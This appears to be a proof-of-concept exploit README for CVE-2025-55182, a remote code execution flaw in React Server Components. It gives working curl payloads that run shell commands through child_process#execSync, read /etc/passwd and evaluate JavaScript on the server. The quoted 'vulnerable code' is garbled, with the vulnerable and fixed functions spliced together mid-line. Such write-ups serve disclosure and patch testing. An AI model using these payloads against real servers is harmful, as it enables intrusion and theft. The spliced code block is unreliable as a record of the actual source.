Share
## https://sploitus.com/exploit?id=7C3C5D5D-FCFE-5C60-B5B9-326F3D84E130
# CVE-2025-55182: React Server Components RCE

A minimal proof of concept demonstrating the critical Remote Code Execution vulnerability in `react-server-dom-webpack@19.0.0`.

## What is CVE-2025-55182?

A pre-authentication RCE vulnerability in React Server Components that allows attackers to execute arbitrary code on servers using the vulnerable `react-server-dom-webpack` package (versions 19.0.0 - 19.2.0).

**CVSS Score:** 10 (Critical)

### Affected Packages
- `react-server-dom-webpack` 19.0.0, 19.1.0, 19.1.1, 19.2.0
- `react-server-dom-parcel` 19.0.0, 19.1.0, 19.1.1, 19.2.0
- `react-server-dom-turbopack` 19.0.0, 19.1.0, 19.1.1, 19.2.0

### Patched Versions
- 19.0.1, 19.1.2, 19.2.1

---

## The Vulnerability

### Root Cause: Missing `hasOwnProperty` Check

The vulnerability exists in the `requireModule` function within React's Flight protocol implementation. This function loads module exports based on metadata received from client requests.

**Vulnerable Code** (`react-server-dom-webpack@19.0.0`):

```javascript
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

export function requireModule(metadata: ClientReference): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  return moduleExports[metadata[NAME]];  // (metadata: ClientReference): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  // FIXED: Validate that the export actually exists
  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
    return moduleExports[metadata[NAME]];
  }
  return (undefined: any);
}
```

The fix adds `hasOwnProperty.call()` to ensure the requested export is an **own property** of the module, not inherited from the prototype chain or dynamically resolvable to dangerous modules.

### Attack Vector

1. Attacker sends a crafted HTTP POST request to a server action endpoint
2. The payload contains `$ACTION_REF_0` and `$ACTION_0:0` fields
3. `$ACTION_0:0` contains `{"id":"child_process#execSync","bound":["whoami"]}`
4. `decodeAction` parses this and calls `requireModule` with attacker-controlled metadata
5. `requireModule` returns `require('child_process').execSync`
6. The function is called with attacker arguments โ†’ **RCE**

---

## Proof of Concept

### Setup

```bash
cd CVE-2025-55182-realistic-poc/
npm install
npm start
# starts on http://localhost:3000
```

### Execute the RCE

```bash
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
```

**Expected Output:**
```json
{"success":true,"result":"your-username\n"}
```

### Other Exploit Examples

```bash
# Read files
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Execute JavaScript
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'
```

---

## How It Works

### The `decodeAction` Flow

```
HTTP Request
    โ”‚
    โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  decodeAction(formData, serverManifest)                     โ”‚
โ”‚  - Parses $ACTION_REF_0 to find action reference            โ”‚
โ”‚  - Parses $ACTION_0:0 to get {id, bound}                    โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
    โ”‚
    โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  loadServerReference(serverManifest, id, bound)             โ”‚
โ”‚  - id = "child_process#execSync" (attacker controlled)      โ”‚
โ”‚  - bound = ["whoami"] (attacker controlled)                 โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
    โ”‚
    โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  resolveServerReference(bundlerConfig, id)                  โ”‚
โ”‚  - Splits "child_process#execSync" into:                    โ”‚
โ”‚    specifier = "child_process"                              โ”‚
โ”‚    name = "execSync"                                        โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
    โ”‚
    โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  requireModule(metadata)                     [VULNERABLE]   โ”‚
โ”‚  - Loads require("child_process")                           โ”‚
โ”‚  - Returns moduleExports["execSync"]                        โ”‚
โ”‚  - NO VALIDATION that "execSync" should be accessible       โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
    โ”‚
    โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  action = execSync.bind(null, "whoami")                     โ”‚
โ”‚  result = action()  โ†’  EXECUTES "whoami" ON SERVER          โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
```

---

## References

- **React Security Advisory:** https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
- **GitHub PR #35277 (Fix):** https://github.com/facebook/react/pull/35277
- **CVE Record:** https://nvd.nist.gov/vuln/detail/CVE-2025-55182
- **Wiz Analysis:** https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182
- **Next.js Advisory:** https://nextjs.org/blog/CVE-2025-66478

---

## License

MIT